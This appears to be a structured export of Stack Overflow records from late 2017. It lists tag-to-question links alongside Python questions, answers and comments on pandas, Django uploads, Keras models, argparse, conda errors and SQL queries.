tags question: http://stackoverflow.com/q/46912538
tags question: http://stackoverflow.com/q/47001172
tags question: http://stackoverflow.com/q/47018868
tags question: http://stackoverflow.com/q/47041963
tags question: http://stackoverflow.com/q/46995469
tags question: http://stackoverflow.com/q/46918566
tags question: http://stackoverflow.com/q/47030927
tags question: http://stackoverflow.com/q/46920363
tags question: http://stackoverflow.com/q/46983176
tags question: http://stackoverflow.com/q/47027186
tags question: http://stackoverflow.com/q/46962152
tags question: http://stackoverflow.com/q/47000401
tags question: http://stackoverflow.com/q/46992406
tags question: http://stackoverflow.com/q/46929248
tags question: http://stackoverflow.com/q/46933027
tags question: http://stackoverflow.com/q/47048027
tags question: http://stackoverflow.com/q/47019474
tags question: http://stackoverflow.com/q/47056068
tags question: http://stackoverflow.com/q/47056174
tags question: http://stackoverflow.com/q/47062977
tags question: http://stackoverflow.com/q/46996434
tags question: http://stackoverflow.com/q/46997427
tags question: http://stackoverflow.com/q/47026091
tags question: http://stackoverflow.com/q/47001870
tags question: http://stackoverflow.com/q/47041133
tags question: http://stackoverflow.com/q/47035878
tags question: http://stackoverflow.com/q/47054623
tags question: http://stackoverflow.com/q/46910260
tags question: http://stackoverflow.com/q/46929374
tags question: http://stackoverflow.com/q/47010325
tags question: http://stackoverflow.com/q/46995997
tags question: http://stackoverflow.com/q/46947310
tags question: http://stackoverflow.com/q/46906778
tags question: http://stackoverflow.com/q/47001413
tags question: http://stackoverflow.com/q/46934316
tags question: http://stackoverflow.com/q/46990244
tags question: http://stackoverflow.com/q/46965755
tags question: http://stackoverflow.com/q/47052127
tags question: http://stackoverflow.com/q/47014399
tags question: http://stackoverflow.com/q/47021081
tags question: http://stackoverflow.com/q/46986331
tags question: http://stackoverflow.com/q/46921346
tags question: http://stackoverflow.com/q/46974903
tags question: http://stackoverflow.com/q/46939109
tags question: http://stackoverflow.com/q/47064212
tags question: http://stackoverflow.com/q/46963104
tags question: http://stackoverflow.com/q/47016867
tags question: http://stackoverflow.com/q/46991464
tags question: http://stackoverflow.com/q/46947094
tags question: http://stackoverflow.com/q/46978905
tags question: http://stackoverflow.com/q/46907587
tags question: http://stackoverflow.com/q/47044127
tags question: http://stackoverflow.com/q/46912995
tags question: http://stackoverflow.com/q/47046698
tags question: http://stackoverflow.com/q/46958263

http://stackoverflow.com/a/46936906
type: Answer
has body: iteritems gives an iterable of tuples. Each iteration one tuple is fetched from the iterable. The variable i will get the value of the first value in the iterable and col will get the second's.
score: 0
answers question: http://stackoverflow.com/q/46936826

http://stackoverflow.com/comment/80824928
comment on: http://stackoverflow.com/q/46938791
score: 0
has text: I'm just trying to ensure that the inputs are as required
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47061824
answers question: http://stackoverflow.com/q/47059647
has comment: http://stackoverflow.com/comment/81377143
accepted answer of: http://stackoverflow.com/q/47059647
has body: When you create your virtualenv with the command python3 -m venv venv Your current Python 3 installation is used as the basis of your virtualenv. Run the command pip3 install --upgrade pip outside of your virtualenv to upgrade the version of pip you have installed then create a new virtualenv.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81079125
downvote count: 1
score: 5
has comment: http://stackoverflow.com/comment/81087507
type: Answer
upvote count: 6

http://stackoverflow.com/comment/80955748
has text: if this is what you meant FYI cap = cv2.VideoCapture.open('/home/grad3/jalal/PycharmProjects/hw4_cs58‌​5/Concession_LAN_8‌​‌​00‌​k.mp4',cv2.CAP_FFMPEG) AttributeError: 'builtin_function_or_method' object has no attribute 'open'
score: 0
comment on: http://stackoverflow.com/q/47004598
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/80971919
type: AnswerComment
comment on: http://stackoverflow.com/a/46960910
has text: No, I think your data is already has `bytes` type, I've just used it to convert string to bytes. So how the error looks like now, do you have something different instead of `(aion}{�}�HQDAS�987)`?
score: 0
type: Comment

http://stackoverflow.com/a/47021207
score: 8
upvote count: 8
answers question: http://stackoverflow.com/q/47021142
downvote count: 0
type: AcceptedAnswer
type: Answer
has body: don't change sys.argv. parse_args takes sys.argv[1:] by default, but you can pass other arguments if you want allowing to call main from another python module. def main(args): import argparse ... args = cmd_parser.parse_args(args) main(["-d","-f"])
accepted answer of: http://stackoverflow.com/q/47021142

http://stackoverflow.com/q/46944897
tagged with: dds-format
answer count: 1
favorite count: 0
has title: How can I convert a .dds file to a .png in python?
type: Question
has answer: http://stackoverflow.com/a/57148747
tagged with: python
type: UnansweredQuestion
tagged with: image
has body: I am trying to create some images by manipulating image pieces stored in .dds files, and then write the finished image as a .png. I see that there is a dds python module in Direct Python 11, which seems possibly sufficient except that it saves to .dds format. Is there a way to save to another image format?
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/a/46983940
answers question: http://stackoverflow.com/q/46982983
has comment: http://stackoverflow.com/comment/80917831
type: Answer
has comment: http://stackoverflow.com/comment/80917256
has body: There is no need for combine to define a new class every time it is called. class CombinedAPI(APIOne, APITwo): @classmethod def combine(cls, arg_one, arg_two): arg = "some_string_%s_%s" % (argone, argtwo) return cls(arg) obj = CombinedAPI.combine(foo, bar)
score: 0
has comment: http://stackoverflow.com/comment/80916371
has comment: http://stackoverflow.com/comment/80921582
accepted answer of: http://stackoverflow.com/q/46982983
type: AcceptedAnswer

http://stackoverflow.com/comment/81065980
score: 0
type: AnswerComment
has text: Thanks for the update - So I also posted this question in the google customer forums and one of the supports said App Engine Only allows a maximum upload of 32MB. So I will have to update this later - once again - to see if I can indeed change this setting. Have you by chance done this before?
comment on: http://stackoverflow.com/a/47040851
type: Comment

http://stackoverflow.com/a/47041744
answers question: http://stackoverflow.com/q/47040605
has comment: http://stackoverflow.com/comment/81031627
has body: A global list seems fine but you can also use a class and create a singleton by deleting the class after instantiation. This prevents from creating another another instance: # mymodule.py from timeit import default_timer as timer class Timing(object): def __init__(self): self.spent_times = [] def __call__(self, message): def wrap(function): def called(*args, **kwargs): time_start = timer() spent_time = round(timer() - time_start, 5) self.spent_times.append("{}={:.5f}".format(message, spent_time)) return function(*args, **kwargs) return called return wrap timing = Timing() del Timing # prevent another instance Now import in another module: from mymodule import timing @timing('Hello') def add(a, b): return a + b The special method __call__ makes an instance of a class behave like a function, i.e. it is callable with (). The advantage it that you can use self.attr instead of a global variable. The deletion of the class after instantiation prevents from creating another instance. This is called a singleton. Now all your timings end up in the same list no matter how often you use timing as a decorator.
has comment: http://stackoverflow.com/comment/81030915
type: AcceptedAnswer
downvote count: 0
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47040605
type: Answer
has comment: http://stackoverflow.com/comment/81031713
has comment: http://stackoverflow.com/comment/81030708

http://stackoverflow.com/comment/80866773
comment on: http://stackoverflow.com/q/46957961
type: Comment
type: QuestionComment
score: 0
has text: What have you done to merge them in Pandas so far, and what has been going wrong?

sql
tags question: http://stackoverflow.com/q/46993961
tags question: http://stackoverflow.com/q/47006817
tags question: http://stackoverflow.com/q/46922669
tags question: http://stackoverflow.com/q/46944917
tags question: http://stackoverflow.com/q/46945790
tags question: http://stackoverflow.com/q/47046576
tags question: http://stackoverflow.com/q/46984022
tags question: http://stackoverflow.com/q/46917244
tags question: http://stackoverflow.com/q/47041265
tags question: http://stackoverflow.com/q/47015782
tags question: http://stackoverflow.com/q/46987013
tags question: http://stackoverflow.com/q/46942301
tags question: http://stackoverflow.com/q/46951015
tags question: http://stackoverflow.com/q/46992303
tags question: http://stackoverflow.com/q/47043830
tags question: http://stackoverflow.com/q/46943015
tags question: http://stackoverflow.com/q/46920027
tag name: sql
type: Tag
tags question: http://stackoverflow.com/q/47043508
tags question: http://stackoverflow.com/q/47040342
tags question: http://stackoverflow.com/q/46927076
tags question: http://stackoverflow.com/q/47054738

http://stackoverflow.com/comment/80998630
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47024931
has text: Spamming tags for is not cool. "pandas" has nothing to do with R (and I'm being kind by not referring maliciously to python-related ilk),
score: 0

http://stackoverflow.com/q/47052385
has body: I have two forms: one where you create a new object (then it creates a new empty file for it), and one where you create an object with an existing file (it uploads the file). The creation form works just fine, it takes the name of the new created object and creates a file with the same name and uploads it in the static folder. However, the second form, it tells you that it got the file object and everything, but the file is not found anywhere. I tried to change directories and modify code and everything and it doesn't seem to work at all and I do not know where is the issue, here are my codes: views.py: def create(request): print request.POST filename = request.POST['name'] f = File(open(filename, "w+")) structure = Structure(name=request.POST['name'], file=f) structure.save() return redirect('/structures') def upload(request): print request.POST structure = Structure(name=request.POST['name'], file=request.POST['file']) structure.save() return redirect('/structures') models.py: class Structure(models.Model): name = models.CharField(max_length=120) file = models.FileField(upload_to='structures') created_at = models.DateTimeField(auto_now_add = True) updated_at = models.DateTimeField(auto_now = True) def __str__(self): return self.name html template: [...] Créer une nouvelle structure {% csrf_token %} Nom de la structure Créer Mettre en ligne une nouvelle structure {% csrf_token %} Structure Fichier de la structure Créer [...] urls.py: url(r'^create$', views.create), url(r'^upload$', views.upload), settings.py: STATIC_URL = '/static/' MEDIA_ROOT = 'files/' Here is the server log when uploading a file: I appreciate the help guys. <QueryDict: {u'csrfmiddlewaretoken': [u'D8Cz7fUkxbpl2hYb3lmjnzm85jzlMjti'], u'name': [u'doctor list'], u'file': [u'doctors1.ods']}> [01/Nov/2017 10:10:13]"POST /upload HTTP/1.1" 302 0 [01/Nov/2017 10:10:13]"GET /structures HTTP/1.1" 301 0 [01/Nov/2017 10:10:13]"GET /structures/ HTTP/1.1" 200 8195 By the way: in the html template I show the fi…
type: AnsweredQuestion
score: 1
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has title: Django: File Uploading vs File Creating (upload not working)
has answer: http://stackoverflow.com/a/47054041
tagged with: django
tagged with: python
accepted answer: http://stackoverflow.com/a/47054041

http://stackoverflow.com/comment/81031958
type: QuestionComment
comment on: http://stackoverflow.com/q/47042431
has text: @yinnonsanders yes it is, I've referred that
score: 0
type: Comment

http://stackoverflow.com/comment/80776531
has text: @Primer Thank you very much, I'll give it a try!
type: Comment
comment on: http://stackoverflow.com/q/46911220
type: QuestionComment
score: 0

django
tags question: http://stackoverflow.com/q/47063257
tags question: http://stackoverflow.com/q/46921222
tags question: http://stackoverflow.com/q/46988158
tags question: http://stackoverflow.com/q/46909905
tags question: http://stackoverflow.com/q/46922161
tags question: http://stackoverflow.com/q/47063953
tags question: http://stackoverflow.com/q/47057420
tags question: http://stackoverflow.com/q/46927407
tags question: http://stackoverflow.com/q/46970300
tags question: http://stackoverflow.com/q/47035874
tags question: http://stackoverflow.com/q/47016787
tags question: http://stackoverflow.com/q/47013727
tags question: http://stackoverflow.com/q/46964578
tags question: http://stackoverflow.com/q/46993348
tags question: http://stackoverflow.com/q/46976037
tags question: http://stackoverflow.com/q/46936235
tags question: http://stackoverflow.com/q/46934143
tags question: http://stackoverflow.com/q/47055391
tags question: http://stackoverflow.com/q/47045791
tags question: http://stackoverflow.com/q/46996359
tags question: http://stackoverflow.com/q/46935433
tags question: http://stackoverflow.com/q/46944975
tags question: http://stackoverflow.com/q/46980120
tags question: http://stackoverflow.com/q/47062062
tags question: http://stackoverflow.com/q/47006817
tags question: http://stackoverflow.com/q/46930217
tags question: http://stackoverflow.com/q/47061206
tags question: http://stackoverflow.com/q/46995540
tags question: http://stackoverflow.com/q/46968046
tags question: http://stackoverflow.com/q/47062622
tags question: http://stackoverflow.com/q/46932528
tags question: http://stackoverflow.com/q/47028029
tags question: http://stackoverflow.com/q/47006695
tags question: http://stackoverflow.com/q/46950661
tags question: http://stackoverflow.com/q/47046052
tags question: http://stackoverflow.com/q/47060345
tags question: http://stackoverflow.com/q/46977300
tags question: http://stackoverflow.com/q/46914757
tags question: http://stackoverflow.com/q/46906420
tags question: http://stackoverflow.com/q/46915614
tags question: http://stackoverflow.com/q/47007951
tags question: http://stackoverflow.com/q/46957362
tags question: http://stackoverflow.com/q/47060283
tags question: http://stackoverflow.com/q/47045638
tags question: http://stackoverflow.com/q/46989848
tags question: http://stackoverflow.com/q/46935404
tags question: http://stackoverflow.com/q/47012130
tags question: http://stackoverflow.com/q/46911907
tags question: http://stackoverflow.com/q/46933262
tags question: http://stackoverflow.com/q/47004456
tags question: http://stackoverflow.com/q/46915295
tags question: http://stackoverflow.com/q/47037960
tags question: http://stackoverflow.com/q/47021646
tags question: http://stackoverflow.com/q/47049378
tags question: http://stackoverflow.com/q/46986433
tags question: http://stackoverflow.com/q/46926227
tags question: http://stackoverflow.com/q/46908668
tags question: http://stackoverflow.com/q/46946697
tags question: http://stackoverflow.com/q/46919009
tags question: http://stackoverflow.com/q/46929519
tags question: http://stackoverflow.com/q/47007743
tags question: http://stackoverflow.com/q/46928060
tags question: http://stackoverflow.com/q/47046309
tags question: http://stackoverflow.com/q/47019474
tags question: http://stackoverflow.com/q/46942429
tags question: http://stackoverflow.com/q/47048156
tags question: http://stackoverflow.com/q/46963254
tags question: http://stackoverflow.com/q/46962451
tags question: http://stackoverflow.com/q/47015927
tags question: http://stackoverflow.com/q/46948552
tags question: http://stackoverflow.com/q/46955472
tags question: http://stackoverflow.com/q/46986605
tags question: http://stackoverflow.com/q/47041725
tags question: http://stackoverflow.com/q/47008456
tags question: http://stackoverflow.com/q/46931864
tags question: http://stackoverflow.com/q/46945673
tags question: http://stackoverflow.com/q/47026223
tags question: http://stackoverflow.com/q/46921014
tags question: http://stackoverflow.com/q/47038484
tags question: http://stackoverflow.com/q/47064511

http://stackoverflow.com/q/46989274
has comment: http://stackoverflow.com/comment/80925278
has title: python - all subsets of a set
has body: input set [1,2,3] with itertools.combinations we get following output with this program &gt;&gt;&gt; a = [] &gt;&gt;&gt; x = [1,2,3] &gt;&gt;&gt; for t in range(1, len(x)+1): ... k = itertools.combinations(x,t) ... a.append([y for y in k]) i get following output [ [(1), (2), (3)], [(1, 2), (1, 3), (2, 3)], [(1, 2, 3)] ] but i am looking for this output: [ [(1), (1, 2), (1, 2, 3), (1, 3)], [(2), (2, 3)], [(3)] ] any idea who to get this output.
upvote count: 1
has comment: http://stackoverflow.com/comment/80925758
has comment: http://stackoverflow.com/comment/80925167
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46989499
possible better answer: http://stackoverflow.com/a/46989499
has comment: http://stackoverflow.com/comment/80925231
tagged with: subset
score: -3
has comment: http://stackoverflow.com/comment/80925143
tagged with: python
has answer: http://stackoverflow.com/a/46989443
downvote count: 4
accepted answer: http://stackoverflow.com/a/46989443
has comment: http://stackoverflow.com/comment/80925166
type: AnsweredQuestion
answer count: 2

http://stackoverflow.com/comment/105748082
comment on: http://stackoverflow.com/a/46921488
has text: @GurselKaracor you can look into findall or extractall.
type: AnswerComment
score: 1
type: Comment

http://stackoverflow.com/comment/82239546
comment on: http://stackoverflow.com/a/46982837
score: 0
type: Comment
has text: @Alnitak, it only uses time.sleep when there is no figure, e.g. after the figure has been destroyed when the program is closing. Presumably something about running in a notebook (choice of backend?) causes _pylab_helpers.Gcf.get_active() to return None. Makes me wonder if pyplot.pause is really working as you think it is; it's probably just calling time.sleep. https://github.com/matplotlib/matplotlib/blob/1493192430c9fe8d5d998352dd6f71168c2de317/lib/matplotlib/pyplot.py#L294
type: AnswerComment

http://stackoverflow.com/a/46996132
has comment: http://stackoverflow.com/comment/80939325
accepted answer of: http://stackoverflow.com/q/46996102
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80939435
has comment: http://stackoverflow.com/comment/80939251
has comment: http://stackoverflow.com/comment/80943677
has body: In programming, a class is an object. What is an object? It's an instance. In order to use your object, you first have to create it. You do that by instantiating it, web = web_open3(). Then, you can use the open() function. Now, objects may also be static. A static object, is an object that you don't instantiate. Any class, independent of being instantiated or not, may have static variables and functions. Let's take a look at your code: # Classes should be named with CamelCase convention: 'WebOpen3' class web_open3: # This is a static variable. Variables should be named with lowercase letters A = "webbrowser.open(www.google.de" # This is an instance method def open(self): # You are accessing a static variable as an instance variable self.A = webbrowser.open("www.google.de") # Here, you try to use an instance method without first initializing your object. That raises an error, the one you gave in the description. test = web_open3.open() Let's now look at a static example: class WebOpen3: a = "webbrowser.open(www.google.de" @staticmethod def open(): WebOpen3.a = webbrowser.open("www.google.de") test = WebOpen3.open() and an instance example: class WebOpen3: def __init__(self): self.a = "webbrowser.open(www.google.de" def open(self): self.a = webbrowser.open("www.google.de") web = WebOpen3() test = web.open() There is still one problem left. When saying: test = web.open(), or test = WebOpen3.open(), you're trying to bind the returning value from open() to test, however that function doesn't return anything. So, you need to add a return statement to it. Let's use the instance method/function as an example: def open(self): self.a = webbrowser.open("www.google.de") return self.a or, instead of returning a value, just call the function straight-forward: WebOpen3.open() or web.open() Note: functions belonging to instances, are also called methods. Note: self refers to an instance of that class. Note: def __init__(self), is an instance´s initializer. For your case, you call …
score: 0
type: Answer
answers question: http://stackoverflow.com/q/46996102
has comment: http://stackoverflow.com/comment/80939110
has comment: http://stackoverflow.com/comment/80939172

http://stackoverflow.com/comment/80910051
score: 0
has text: I just edited it. Thanks
comment on: http://stackoverflow.com/q/46981166
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46982652
has body: Use Case: I have multiple models each with a slightly different architecture. Model A with one output and Model B with two outputs (call them output_1 and output_2). output_1 of Model B corresponds to the same information as the single output of Model A. I would like plot the accuracies/losses from output_1 of Model B together with those of Model A on the same graph in Tensorboard. I'm using the functional layer protocols for Models A/B and hence given the two outputs of Model B names: output_1, output_2 while giving the output of Model A: output_1. I've noticed Keras/Tensorboard will report the accuracies/losses for Model B as output_1_acc, output_2_acc, output_1_loss, output_2_loss, val_output_1_acc, val_output_2_acc, val_output_1_loss, val_output_2_loss (with maybe a loss metric name added in that corresponds to the addition of losses from outputs 1/2). However, I've noticed Keras/Tensorboard will report the accuracies/losses under Model A (if compiled with metric: accuracy) as acc, loss, val_acc, val_loss. So the accuracies for output_1 of Model A/B aren't plotted on the same graph in Tensorboard. Leaving me to have to download csv's for each and then plot them together manually. So I'm looking for a clean way to simply rename the metrics (accuracies/losses) for the single output in Model A (output_1) so that Tensorboard will report them on the same graphs as the accuracies/losses for output_1 of Model B. Googling around has given me a method, but it's a bit cumbersome. Essentially, I have to define custom metrics for Model A with functional names equal to the accuracy/loss names reported for Model B (explicitly referenced in second paragraph above). And then I compile these custom metrics with the model. So a brief example of what I'm doing: Class Model_A(): def edge_output_acc(self, y_true=None, y_pred=None): # effectively hardcodes the binary accuracy as form of accuracy return K.mean(K.equal(y_true, K.round(y_pred))) def edge_output_loss(self, y_true=None, y…
tagged with: tensorboard
linked to: http://stackoverflow.com/q/43782409
linked to: http://stackoverflow.com/q/41531695
answer count: 1
tagged with: tensorflow
favorite count: 0
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/80939869
has title: Keras: Rename Metrics for Same Tensorboard Graph Viewing
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/52500381
tagged with: python
tagged with: keras
score: 2
tagged with: metrics
has comment: http://stackoverflow.com/comment/80919014
downvote count: 0

keras-layer
tags question: http://stackoverflow.com/q/46964090
tags question: http://stackoverflow.com/q/46975875
tags question: http://stackoverflow.com/q/47020411
tags question: http://stackoverflow.com/q/46994409
type: Tag
tag name: keras-layer

http://stackoverflow.com/comment/80861448
comment on: http://stackoverflow.com/q/46928961
score: 0
type: Comment
type: QuestionComment
has text: I perfectly understand that. It's exactly what darthbith said... As for the creation of the .c code by Cython, it only need to be done once, whatever the platform: that's what Cython is made for.

http://stackoverflow.com/q/46987238
downvote count: 1
has title: Pass argument to an instance of a class to implicitely call a method
tagged with: python
tagged with: apply
accepted answer: http://stackoverflow.com/a/46987503
type: Question
has answer: http://stackoverflow.com/a/46987349
possible better answer: http://stackoverflow.com/a/46987349
answer count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/80921463
has answer: http://stackoverflow.com/a/46987503
favorite count: 0
tagged with: class
type: AnsweredQuestion
score: 0
has body: I recently saw something like this in a python library (PyTorch): class A(BaseClass): def __init__(self,b,c): self.b =b self.c = c def forward(self,d,e): return self.b + self.c + d + e a_instance = A(1,2) assert a_instance(d=4,e=5) == a_instance.forward(4,5) where instead of directly calling the method "forward" inside the Class A, you can just pass the arguments to an instance of the class and under the hood it passes them to the "forward" function and calls it. I very much like to know how to implement something like this. Any explanation to shed a light on this is very much appreciated. PS: This is my made up example not the real thing.

http://stackoverflow.com/q/46953043
has comment: http://stackoverflow.com/comment/80896589
answer count: 2
upvote count: 2
has answer: http://stackoverflow.com/a/55624108
downvote count: 0
tagged with: scikit-learn
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80897324
possible better answer: http://stackoverflow.com/a/55624108
tagged with: python
accepted answer: http://stackoverflow.com/a/46953241
has title: Error when I installed scikit-learn in conda
has body: When I tried to install scikit-learn in conda, I received below error $ conda install scikit-learn Fetching package metadata ........... Solving package specifications: . Package plan for installation in environment /Users/xlnwel/anaconda/envs/ai: The following NEW packages will be INSTALLED: scikit-learn: 0.19.0-np113py36_0 scipy: 0.19.1-np113py36_0 Proceed ([y]/n)? y ERROR conda.core.link:_execute_actions(335): An error occurred while installing package 'defaults::scipy-0.19.1-np113py36_0'. FileExistsError(17, 'File exists') Attempting to roll back. FileExistsError(17, 'File exists') I thought it might because the scipy already exists, so I tried to delete scipy, still received an error: $ conda remove scipy Fetching package metadata ........... Solving package specifications: . PackageNotFoundError: Package not found: Conda could not find ' What can I do now? I'm using Mac.
has answer: http://stackoverflow.com/a/46953241
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80853587

http://stackoverflow.com/q/47035367
upvote count: 7
tagged with: keras
favorite count: 0
type: Question
type: AnsweredQuestion
score: 7
has title: Merge two different deep learning models in Keras
tagged with: python
has answer: http://stackoverflow.com/a/47035511
possible better answer: http://stackoverflow.com/a/47035502
answer count: 2
tagged with: deep-learning
accepted answer: http://stackoverflow.com/a/47035511
has answer: http://stackoverflow.com/a/47035502
downvote count: 0
has body: I have two different types of data (image volumes and coordinates) and I would like to use a convolutional neural network on the image volume data and then after this I would like to append some additional information (ie. the coordinates of the volume). Independently this should create a pretty solid predictor for my function. How can I implement this using Keras. The only answers I have found online are either ambiguous or are using the deprecated methods which I have got to work. But I would really like to implement this using the current API that way I can more easily save the model for later use. model = Sequential() model.add(Conv3D(32, kernel_size=(3, 3, 3), activation='relu', input_shape=input_shape)) model.add(Conv3D(64, (3, 3, 3), activation='relu')) model.add(MaxPooling3D(pool_size=(2, 2, 2))) model.add(Dropout(0.25)) model.add(Flatten()) print(model.output_shape) # The additional data (the coordinates x,y,z) extra = Sequential() extra.add(Activation('sigmoid', input_shape=(3,))) print(extra.output_shape) merged = Concatenate([model, extra]) # New model should encompass the outputs of the convolutional network and the coordinates that have been merged. # But how? new_model = Sequential() new_model.add(Dense(128, activation='relu')) new_model.add(Dropout(0.8)) new_model.add(Dense(32, activation='sigmoid')) new_model.add(Dense(num_classes, activation='softmax')) new_model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy'])

http://stackoverflow.com/comment/81005032
score: 0
type: Comment
type: AnswerComment
has text: Thanks !! but i am getting error while running this .. TypeError : str_extract() got an unexpected keyword argument 'expand'
comment on: http://stackoverflow.com/a/47029165

http://stackoverflow.com/a/47021080
upvote count: 1
answers question: http://stackoverflow.com/q/47020818
type: Answer
accepted answer of: http://stackoverflow.com/q/47020818
score: 1
has body: from fuzzywuzzy import process l=['YES',"NO"] a=[] for x in df.Col1: try: a.append([process.extract(x, l, limit=1)][0][0][0]) except: a.append(np.nan) df['target']=a df Out[1261]: Col1 target 0 yes YES 1 YES123 YES 2 nO023 NO 3 n NO 4 NaN NaN
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/47037375
has title: POSTGRES Query: How do I return the average of a moving average in a PostGres database?
downvote count: 0
has comment: http://stackoverflow.com/comment/81044998
tagged with: database-design
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81048073
tagged with: postgresql
has comment: http://stackoverflow.com/comment/81044725
score: 1
tagged with: database
tagged with: python
tagged with: sqlalchemy
has comment: http://stackoverflow.com/comment/81021668
has comment: http://stackoverflow.com/comment/81057302
type: Question
answer count: 0
has body: I'm a bit new to PostGres so bear with me here. My table looks something like the following: ticker | datetime | open | high | low | close | volume ----------+------------------------+--------+--------+--------+--------+-------- IJKLMNOP | 2014-12-31 21:46:00-06 | 959.93 | 959.93 | 959.93 | 959.93 | 0 ABCDEFGH | 2014-12-31 21:47:00-06 | 959.93 | 960 | 958.65 | 958.65 | 40 SYMPHONY | 2014-12-31 21:48:00-06 | 960 | 960 | 958.65 | 960 | 10 ABCDEFGH | 2014-12-31 21:49:00-06 | 960 | 960.25 | 960 | 960.25 | 24 IJKLMNOP | 2014-12-31 21:50:00-06 | 960.25 | 960.25 | 960 | 960 | 134 ABCDEFGH | 2014-12-31 21:51:00-06 | 958.6 | 960 | 958.6 | 959.45 | 194 SYMPHONY | 2014-12-31 21:52:00-06 | 959.45 | 960.43 | 959.45 | 960.4 | 30 ABCDEFGH | 2014-12-31 21:53:00-06 | 960.4 | 961.43 | 960.4 | 961.43 | 36 IJKLMNOP | 2014-12-31 21:54:00-06 | 961.43 | 961.98 | 961.43 | 961.98 | 2 ABCDEFGH | 2014-12-31 21:55:00-06 | 961.98 | 961.98 | 961.98 | 961.98 | 0 SYMPHONY | 2014-12-31 21:56:00-06 | 961.98 | 961.98 | 961.98 | 961.98 | 0 ABCDEFGH | 2014-12-31 21:57:00-06 | 961.98 | 961.98 | 961.98 | 961.98 | 0 SYMPHONY | 2014-12-31 21:58:00-06 | 961.98 | 961.98 | 961.98 | 961.98 | 0 It contains historical data of multiple stocks. I want to calculate the moving average of a distinct ticker over a 2 hour period. Then I want to calculate the average and standard deviation of the moving average for that ticker. I want to do this for each distinct ticker, and then get back the ones that match a certain criteria. So, in order: 1) Calculate (the 2 hour) moving average of each distinct ticker 2) Calculate the average and standard deviation of the 2 hour moving average for each distinct ticker 3) return the tickers that match a criteria that depend on the average and standard deviation of the moving average. How would I write out this query? I'm really stuck and have no clue how to proceed. I'm accessing the database through python using sqlAlchemy and Pandas
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81041316
has comment: http://stackoverflow.com/comment/81049705

http://stackoverflow.com/q/46971802
score: 0
has title: Python: Find the two prime factors of a number. how to make this code more efficiency?
tagged with: processing-efficiency
answer count: 1
has comment: http://stackoverflow.com/comment/80892240
has comment: http://stackoverflow.com/comment/80891258
type: Question
has body: My current code: import math def factorMe(value): last = int(math.sqrt(value)+1) for i in range(2,last): if value %i ==0: return (i,int(value/i)) My code can meet most test case; But if the input is 603091532958059 then the answer will be (24557917, 24557927); But it will take more than 1 second to finish (Time limit exceeded); Any suggestion? Thank you!
tagged with: python
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46972948

http://stackoverflow.com/comment/80938720
has text: You have defined `pi` as a number. You cannot index into a number (no square brackets).
type: QuestionComment
comment on: http://stackoverflow.com/q/46996068
score: 0
type: Comment

http://stackoverflow.com/comment/80764884
comment on: http://stackoverflow.com/a/46909115
score: 0
type: Comment
type: AnswerComment
has text: Btw, what is desired output after pivoting? Because I see MultiIndex in columns.

http://stackoverflow.com/q/47043002
has title: Cloud Server using Python
tagged with: client-server
upvote count: 0
tagged with: cloud
answer count: 1
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/47043455
type: Question
has body: My teacher asked me to implement a client-server based application using python. It's also required to have a cloud server, which obviously should be compatible with python. Any recommendations,software,help?
type: UnansweredQuestion
tagged with: python
score: -1

http://stackoverflow.com/comment/104537298
score: 3
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46973571
has text: Could you pretty print these requests? It would be nicer for the eye. Example of pretty print: https://wiki.hippoedit.com/_media/plugins/xml_formatted.png

list
tags question: http://stackoverflow.com/q/47063972
tags question: http://stackoverflow.com/q/46990926
tags question: http://stackoverflow.com/q/47040755
tags question: http://stackoverflow.com/q/46985421
tags question: http://stackoverflow.com/q/46990247
type: Tag
tags question: http://stackoverflow.com/q/47024608
tags question: http://stackoverflow.com/q/47025193
tags question: http://stackoverflow.com/q/47045699
tags question: http://stackoverflow.com/q/46997241
tags question: http://stackoverflow.com/q/46918299
tags question: http://stackoverflow.com/q/46937928
tags question: http://stackoverflow.com/q/47057872
tags question: http://stackoverflow.com/q/47059642
tags question: http://stackoverflow.com/q/47059880
tags question: http://stackoverflow.com/q/46983905
tags question: http://stackoverflow.com/q/46995313
tags question: http://stackoverflow.com/q/46988924
tags question: http://stackoverflow.com/q/46976288
tags question: http://stackoverflow.com/q/46939998
tags question: http://stackoverflow.com/q/46943051
tags question: http://stackoverflow.com/q/47059256
tags question: http://stackoverflow.com/q/46907775
tags question: http://stackoverflow.com/q/46973192
tags question: http://stackoverflow.com/q/47026828
tags question: http://stackoverflow.com/q/46946838
tags question: http://stackoverflow.com/q/47003246
tags question: http://stackoverflow.com/q/47039449
tags question: http://stackoverflow.com/q/46925733
tags question: http://stackoverflow.com/q/46923701
tags question: http://stackoverflow.com/q/47052805
tags question: http://stackoverflow.com/q/47036156
tags question: http://stackoverflow.com/q/46969675
tags question: http://stackoverflow.com/q/47028962
tags question: http://stackoverflow.com/q/47033805
tags question: http://stackoverflow.com/q/46988510
tags question: http://stackoverflow.com/q/47061015
tags question: http://stackoverflow.com/q/47010018
tags question: http://stackoverflow.com/q/46922355
tags question: http://stackoverflow.com/q/47043626
tags question: http://stackoverflow.com/q/47055506
tags question: http://stackoverflow.com/q/46916463
tags question: http://stackoverflow.com/q/47003168
tags question: http://stackoverflow.com/q/47034704
tags question: http://stackoverflow.com/q/46923963
tags question: http://stackoverflow.com/q/47004384
tags question: http://stackoverflow.com/q/46995058
tags question: http://stackoverflow.com/q/46932386
